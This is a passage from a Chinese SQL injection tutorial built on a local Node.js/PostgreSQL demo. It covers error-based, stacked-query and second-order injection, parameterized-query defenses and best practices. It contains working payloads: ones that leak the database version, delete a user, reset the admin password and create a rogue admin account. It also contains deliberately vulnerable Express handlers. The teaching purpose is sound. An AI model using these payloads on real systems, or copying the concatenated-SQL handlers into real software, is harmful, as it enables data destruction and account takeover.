攻击载荷 4:泄露数据库版本
用户ID:1 AND CAST((SELECT version()) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "PostgreSQL 16.x..."
攻击者不需要看到正常查询结果,错误消息就是他们的"输出窗口"!
7.3 漏洞代码分析
javascript
// ===== 漏洞版本 =====
app.get("/api/user/search/vulnerable", async (req, res) => {
const { id } = req.query;
try {
// 【漏洞核心】不验证 id 参数类型,直接拼接到 SQL 中
const sql = `SELECT username FROM users WHERE id=${id || 1}`;
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql,
});
} catch (err) {
// 【漏洞点】将完整的数据库错误信息返回给客户端
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`, // 错误消息泄露
});
}
});
两个漏洞点:
- SQL 注入 :
id参数直接拼接到 SQL 中,没有类型校验。 - 信息泄露 :
catch块将完整的数据库错误消息返回给客户端(第 16 行),包含敏感数据。
7.4 防御代码分析
javascript
// ===== 安全版本 =====
app.get("/api/user/search/safe", async (req, res) => {
const { id } = req.query;
// 严格校验:只接受纯数字输入
// 使用正则 /^\\d+$/ 确保整个字符串都是数字,防止 parseInt 的静默截断
// 例如 parseInt("1 AND CAST(...)") 会返回 1,但正则校验会拒绝
if (!id || !/^\\d+$/.test(id)) {
return res.json({ success: false, message: "无效的用户ID" });
}
const numId = parseInt(id, 10);
try {
const result = await pool.query(
"SELECT username FROM users WHERE id=$1",
[numId], // 传入已验证的整数
);
res.json({ success: true, data: result.rows });
} catch (err) {
// 不返回详细错误,避免信息泄露
res.json({ success: false, message: "服务器错误" });
}
});
三层防御:
- 严格类型校验 :
/^\d+$/正则确保整个输入都是数字,防止parseInt的静默截断问题(如parseInt("1 AND ...")会返回1)。 - 参数化查询 :
$1占位符,即使通过校验也无法注入。 - 不返回错误详情:只返回通用的"服务器错误",不泄露数据库结构信息。
7.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| 输入校验 | 无校验,直接拼接到 SQL | 正则严格校验,非纯数字拒绝 |
| SQL 构建 | 字符串拼接 | 参数化查询($1) |
| 错误处理 | 返回完整数据库错误信息 | 返回通用错误消息 |
| 漏洞类型 | SQL 注入 + 信息泄露 | 无漏洞 |
| 安全性 | 不安全 | 安全 |
八、演示六:堆叠查询注入(Stacked Queries)
8.1 漏洞原理
难度等级:高级
堆叠注入 是指攻击者在一个 SQL 语句中通过分号(;) 分隔,执行多条 SQL 语句。正常情况下,数据库驱动一次只执行一条 SQL,但某些配置或驱动允许执行多条语句,这就为攻击者提供了更大的操作空间。
核心思路:
在一个注入点同时执行多条 SQL 语句,攻击者可以完成 INSERT、UPDATE、DELETE 甚至 DROP 等破坏性操作。
️ 堆叠注入的危害极大,是 SQL 注入中最危险的一类。
8.2 攻击方法
场景:更新个人简介
原始 SQL(更新 bio 字段):
sql
UPDATE profiles SET bio='我的新简介' WHERE username='admin'
攻击载荷 1:删除其他用户
输入(在 bio 中):
'; DELETE FROM users WHERE username='david';--
实际执行的 SQL:
sql
UPDATE profiles SET bio=''; DELETE FROM users WHERE username='david';--' WHERE username='admin'
逐字符解析这个 Payload 是如何构造的:
原始 SQL 模板:UPDATE profiles SET bio='${bio}' WHERE username='${username}'
↑
bio 的值被单引号包裹
攻击者输入:'; DELETE FROM users WHERE username='david';--
↑↑ ↑↑
││ │└── -- 注释掉后面的 ' WHERE...
││ └─── ; 分号结束 DELETE 语句
│└── ' 闭合 bio 字段的起始单引号,使 bio 值为空字符串 ''
└─── ; 分号分隔,开始新的一条 SQL 语句
最终解析:
'; → 闭合 bio='' 并结束 UPDATE 语句
DELETE ... → 第二条 SQL 语句(恶意操作)
;-- → 结束 DELETE 并注释掉原始 SQL 的剩余部分
实际执行了 2 条 SQL 语句:
sql
-- 语句 1:将 bio 设为空字符串(无害)
UPDATE profiles SET bio='';
-- 语句 2:删除 david 用户!← 恶意操作
DELETE FROM users WHERE username='david';
-- 语句 3:被注释掉,不执行
--' WHERE username='admin'
关键点 :只需一个
'(单引号)来闭合bio字段,因为代码中是bio='${bio}',不是bio='${bio}')。');会多出一个),导致语法错误。
攻击载荷 2:修改管理员密码
'; UPDATE users SET password='hacked' WHERE username='admin';--
实际执行的 SQL:
sql
UPDATE profiles SET bio=''; UPDATE users SET password='hacked' WHERE username='admin';--' WHERE username='admin'
管理员密码被改为 hacked,攻击者可以用新密码登录。
攻击载荷 3:创建新的管理员账户
'; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');--
实际执行的 SQL:
sql
UPDATE profiles SET bio=''; INSERT INTO users (username, password, role) VALUES ('hacker', '123456', 'admin');--' WHERE username='admin'
攻击者创建了一个管理员账户,拥有了完整的系统权限。
8.3 漏洞代码分析
javascript
// ===== 漏洞版本 =====
app.post("/api/profile/update/vulnerable", async (req, res) => {
const { username, bio } = req.body;
// 【漏洞核心】bio 内容直接拼接到 VALUES 中
// 分号可以分隔多条 SQL,pg 驱动默认不允许但有些配置可以
const sql = `UPDATE profiles SET bio='${bio || ""}' WHERE username='${username || ""}'`;
try {
const result = await pool.query(sql);
res.json({
success: true,
message: "资料更新成功",
rowCount: result.rowCount,
executedSql: sql,
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
executedSql: sql,
});
}
});
问题分析:
bio 参数直接插入到 SQL 字符串中。攻击者输入 '; DELETE FROM ...;-- 时:
'闭合了bio字段的起始单引号,使bio值为空字符串''。;分隔出新的 SQL 语句。DELETE FROM ...是攻击者的恶意操作。--注释掉原始 SQL 的剩余部分(' WHERE username='admin')。
注意 :只需一个
'来闭合,因为代码中 SQL 模板是bio='${bio}',不是bio='${bio}')。');会多出一个),导致 PostgreSQL 语法错误:"语法错误 在 ")" 或附近的"。
8.4 防御代码分析
javascript
// ===== 安全版本 =====
app.post("/api/profile/update/safe", async (req, res) => {
const { username, bio } = req.body;
try {
const result = await pool.query(
"UPDATE profiles SET bio=$1 WHERE username=$2",
[bio || "", username || ""],
);
res.json({ success: true, rowCount: result.rowCount });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
参数化查询将 bio 作为字符串值处理。攻击者输入 '; DELETE FROM users;-- 时,它被当作 bio 字段的一个普通字符串,分号被视为普通字符而非 SQL 语句分隔符。pg 驱动会安全转义所有特殊字符,数据库存储的 bio 就是字面值 '; DELETE FROM users;--。
8.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| 攻击能力 | 可执行多条 SQL(INSERT/UPDATE/DELETE/DROP) | 无法注入,分号被视为普通字符 |
攻击 '; DELETE FROM ... |
用户被删除 | bio 字段存储该字符串,无副作用 |
| 危害等级 | 极高(可破坏数据库) | 无危害 |
| 安全性 | 不安全 | 安全 |
九、演示七:二次注入(Second-Order Injection)
9.1 漏洞原理
难度等级:高级
二次注入 是最隐蔽的 SQL 注入类型之一。它的特点是:恶意数据先被安全地存入数据库 (通过参数化查询),但在后续某个操作中,这些数据被取出后又拼接到新的 SQL 语句中,从而触发注入。
核心思路:
第一次存储是安全的(参数化查询),但第二次使用时又拼接了,漏洞在第二次暴露。
为什么最隐蔽?
- 绕过第一道防线:第一次存储时用了参数化查询,恶意数据被安全存储,安全审计可能认为这里没问题。
- 延迟触发:漏洞不在数据输入时发生,而是在数据使用时发生,时间上可能相隔很久。
- 信任链问题:开发者潜意识里认为"从数据库取出的数据是安全的",但实际上并非如此。
9.2 攻击方法
本演示的流程:
步骤 1:注册时安全存储恶意用户名
用户名:alice' OR '1'='1
密码:pass123
注册时使用参数化查询,alice' OR '1'='1 被安全存入 users 表,这一步没有问题。
步骤 2:查询资料时触发漏洞
查询资料:?username=alice' OR '1'='1
实际执行的 SQL:
sql
SELECT * FROM profiles WHERE username='alice' OR '1'='1'
结果: '1'='1' 是永真条件,OR 使得 WHERE 子句始终为真,返回了所有用户的资料,而不是只返回 alice 的资料!
9.3 漏洞代码分析
第一步:注册(安全存储)
javascript
// 注册时使用参数化查询 - 这一步是安全的!
app.post("/api/register", async (req, res) => {
const { username, password } = req.body;
try {
// 使用 $1, $2, $3 占位符,安全存储
const result = await pool.query(
"INSERT INTO users (username, password, email) VALUES ($1, $2, $3) RETURNING *",
[username, password, `${username}@demo.com`],
);
// 同时在 profiles 表创建记录
await pool.query("INSERT INTO profiles (username, bio) VALUES ($1, $2)", [
username,
"新用户",
]);
res.json({ success: true, message: `用户 ${username} 注册成功!` });
} catch (err) {
res.json({ success: false, message: `注册失败: ${err.message}` });
}
});
第二步:查询资料(漏洞触发)
javascript
// 漏洞版本:查询用户资料 - 拼接已存储的数据
app.get("/api/profile/vulnerable", async (req, res) => {
const { username } = req.query;
try {
// 【漏洞核心】从数据库取出的用户名,又被拼接到新的 SQL 中
// 如果 username 是 "alice' OR '1'='1",就会泄露所有用户资料
const sql = `SELECT * FROM profiles WHERE username='${username || ""}'`;
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql,
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
});
}
});
关键问题: 第 8 行,username 参数被直接拼接到 SQL 中。这个 username 可能来自:
- 用户直接输入
- 从数据库取出(通过注册时存储的恶意值)
无论来源如何,只要是字符串拼接,就存在注入风险。
9.4 防御代码分析
javascript
// 安全版本:查询用户资料 - 始终使用参数化查询
app.get("/api/profile/safe", async (req, res) => {
const { username } = req.query;
try {
// 无论数据来自哪里(用户输入、数据库、文件等),都使用参数化查询
const result = await pool.query(
"SELECT * FROM profiles WHERE username=$1",
[username || ""],
);
res.json({ success: true, data: result.rows });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
防御原则: 无论数据来自哪里------用户输入、数据库、文件、API 调用------都始终使用参数化查询。永远不要信任任何数据源。
9.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| 第一次存储(注册) | 参数化查询(安全) | 参数化查询(安全) |
| 第二次使用(查询) | 字符串拼接(漏洞) | 参数化查询(安全) |
| 攻击效果 | 注入 alice' OR '1'='1,泄露所有用户资料 |
注入无效 |
| 隐蔽性 | 极高(第一次安全,第二次才出问题) | 无漏洞 |
| 安全性 | 不安全 | 安全 |
十、核心防御:参数化查询
10.1 什么是参数化查询?
参数化查询(Parameterized Query) 是一种将 SQL 语句的结构与数据分离的技术。SQL 语句的骨架使用占位符(如 $1、$2、?),用户数据通过单独的参数数组传入,由数据库驱动负责安全地填充。
10.2 参数化查询的工作原理
字符串拼接(不安全):
SQL 骨架 + 用户数据 → 混在一起 → 发送给数据库
"SELECT * FROM users WHERE username='" + userInput + "'"
如果 userInput = "admin'--",SQL 变成了:
"SELECT * FROM users WHERE username='admin'--'"
参数化查询(安全):
SQL 骨架(带占位符) → 先发送给数据库编译
用户数据(单独) → 再发送给数据库填充
"SELECT * FROM users WHERE username=$1" + ["admin'--"]
数据库理解:查找 username 值等于 "admin'--" 的用户
(带引号的 admin'-- 是数据值,不是 SQL 语法)
10.3 在 PostgreSQL (pg 驱动) 中的写法
javascript
// 字符串拼接(不安全):
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
const result = await pool.query(sql);
// 参数化查询(安全):
const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";
const result = await pool.query(sql, [username, password]);
关键要点:
| 要素 | 说明 |
|---|---|
$1, $2, ... |
占位符,从 1 开始编号 |
[username, password] |
参数数组,按顺序对应占位符 |
| 数据库驱动处理 | pg 自动转义特殊字符,确保数据安全 |
10.4 为什么参数化查询能防止 SQL 注入?
攻击者输入:username = "admin' OR 1=1--"
字符串拼接时:
SQL = "SELECT * FROM users WHERE username='admin' OR 1=1--'"
数据库解析:username='admin' OR 1=1 ← 1=1 是 SQL 表达式,永真!
结果:饶过验证
参数化查询时:
SQL = "SELECT * FROM users WHERE username=$1"
params = ["admin' OR 1=1--"]
数据库解析:查找 username 字段值等于 "admin' OR 1=1--" 这个字符串的记录
结果:找不到这个用户名的用户,登录失败
核心区别: 参数化查询让攻击者的输入从"SQL 代码"变成了"字符串数据"。单引号、分号、SQL 关键字等特殊字符不再具有语法意义,只是普通字符。
10.5 参数化查询不能防御的情况
参数化查询不是万能的。以下情况仍需注意:
| 场景 | 原因 | 解决方案 |
|---|---|---|
| 动态表名/列名 | 占位符不能用于表名、列名 | 使用白名单校验 |
ORDER BY 动态排序 |
占位符不能用于 ORDER BY 子句 | 使用白名单校验 |
LIMIT / OFFSET |
部分驱动不支持占位符 | 参数类型校验 |
| LIKE 模糊查询 | % 需要在参数中拼接 |
在参数值中拼接 %keyword% |
十一、安全最佳实践
11.1 防御体系总结
| 防御层级 | 措施 | 说明 |
|---|---|---|
| 第一层:输入校验 | 类型校验、长度限制、格式校验 | 拒绝不符合预期的输入 |
| 第二层:参数化查询 | 使用占位符,SQL 与数据分离 | 最核心的防御手段 |
| 第三层:最小权限 | 数据库用户只授予必要的权限 | 限制注入成功后的危害范围 |
| 第四层:错误处理 | 不返回数据库错误详情 | 防止信息泄露 |
| 第五层:WAF | Web 应用防火墙 | 检测和拦截恶意请求 |
11.2 代码层面的最佳实践
永远使用参数化查询
javascript
// 正确:参数化查询
const result = await pool.query(
"SELECT * FROM users WHERE username=$1 AND password=$2",
[username, password],
);
// 错误:字符串拼接
const result = await pool.query(
`SELECT * FROM users WHERE username='${username}' AND password='${password}'`,
);
验证输入类型
javascript
// 正确:校验 ID 为数字
const id = parseInt(req.query.id, 10);
if (isNaN(id) || id <= 0) {
return res.status(400).json({ error: "无效的ID" });
}
// 错误:直接使用未校验的输入
const id = req.query.id;
不在错误消息中暴露信息
javascript
// 正确:返回通用错误消息
catch (err) {
res.status(500).json({ error: '服务器错误,请稍后重试' });
}
// 错误:返回数据库错误详情
catch (err) {
res.status(500).json({ error: err.message }); // 可能泄露数据库结构
}
使用最小权限原则
sql
-- 为应用创建专门的数据库用户,只授予必要权限
CREATE USER app_user WITH PASSWORD 'strong_password';
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT ON products TO app_user;
-- 不授予 DELETE、DROP、ALTER 等危险权限
对动态表名/列名使用白名单
javascript
// 正确:白名单校验
const ALLOWED_COLUMNS = ["id", "username", "email", "created_at"];
const orderBy = req.query.orderBy;
if (!ALLOWED_COLUMNS.includes(orderBy)) {
return res.status(400).json({ error: "无效的排序字段" });
}
const result = await pool.query(
`SELECT * FROM users ORDER BY ${orderBy}`, // 此时 orderBy 是安全的
);
11.3 不要依赖的"防御"手段
| 做法 | 为什么不可靠 |
|---|---|
| 转义单引号 | 不是所有注入都需要单引号(如数字型注入) |
| 黑名单过滤关键字 | 总有绕过方法(大小写变体、编码、注释穿插) |
| 前端校验 | 攻击者可以绕过前端直接发送 HTTP 请求 |
| 存储过程 | 如果存储过程内部也是拼接 SQL,同样不安全 |
十二、总结
12.1 七种 SQL 注入对比
| 编号 | 注入类型 | 难度 | 核心原理 | 攻击效果 | 危害等级 |
|---|---|---|---|---|---|
| 1 | 登录绕过 | 初级 | -- 注释掉密码检查 |
无需密码登录任意账户 | ⭐⭐⭐ |
| 2 | UNION 注入 | 中级 | UNION SELECT 合并查询结果 |
窃取其他表数据 | ⭐⭐⭐⭐ |
| 3 | 布尔盲注 | 中级 | 通过"存在/不存在"推断数据 | 逐字符猜解密码和敏感数据 | ⭐⭐⭐ |
| 4 | 延时注入 | 中高级 | 通过响应时间差异推断数据 | 无页面差异时仍能逐字符猜解 | ⭐⭐⭐ |
| 5 | 报错注入 | 中级 | 触发类型转换错误泄露数据 | 从错误消息中获取敏感数据 | ⭐⭐⭐ |
| 6 | 堆叠注入 | 高级 | ; 分隔多条 SQL 语句 |
删除/修改数据,创建账户 | ⭐⭐⭐⭐⭐ |
| 7 | 二次注入 | 高级 | 安全存储但后续拼接使用 | 绕过第一次的安全检查 | ⭐⭐⭐⭐ |
12.2 核心要点
- SQL 注入的根本原因:用户输入被当作 SQL 代码执行,而不是当作数据处理。
- 最有效的防御方法:参数化查询(Parameterized Query),将 SQL 结构与数据分离。
- 永远不要信任任何数据源:无论是用户输入、数据库、文件还是 API 调用,只要是拼接到 SQL 中,就必须使用参数化查询。
- 纵深防御:不要只依赖一种防御手段。结合输入校验、参数化查询、最小权限、错误处理、WAF 等多层防御。
- 安全意识:SQL 注入在今天仍然普遍存在,每个开发者都应该了解其原理和防御方法。
12.3 学习路径建议
- 先理解登录绕过,这是最直观的 SQL 注入。
- 再学习 UNION 注入,理解如何窃取其他表的数据。
- 掌握布尔盲注 和延时注入,理解在无直接数据回显时如何推断数据。
- 学习报错注入,利用数据库错误消息泄露敏感信息。
- 最后深入堆叠注入 和二次注入,理解更隐蔽和更危险的攻击方式。
- 在每个演示中,先尝试漏洞版本的攻击载荷,再对比安全版本的防御效果。
- 注意观察每个页面底部显示的实际执行的 SQL 语句,这是理解注入原理的关键。
⚠️ 免责声明: 本文及演示平台仅用于教学和安全研究目的。请勿将此处描述的技术用于非法用途。所有演示都在本地环境运行,切勿将此类漏洞代码部署到生产环境。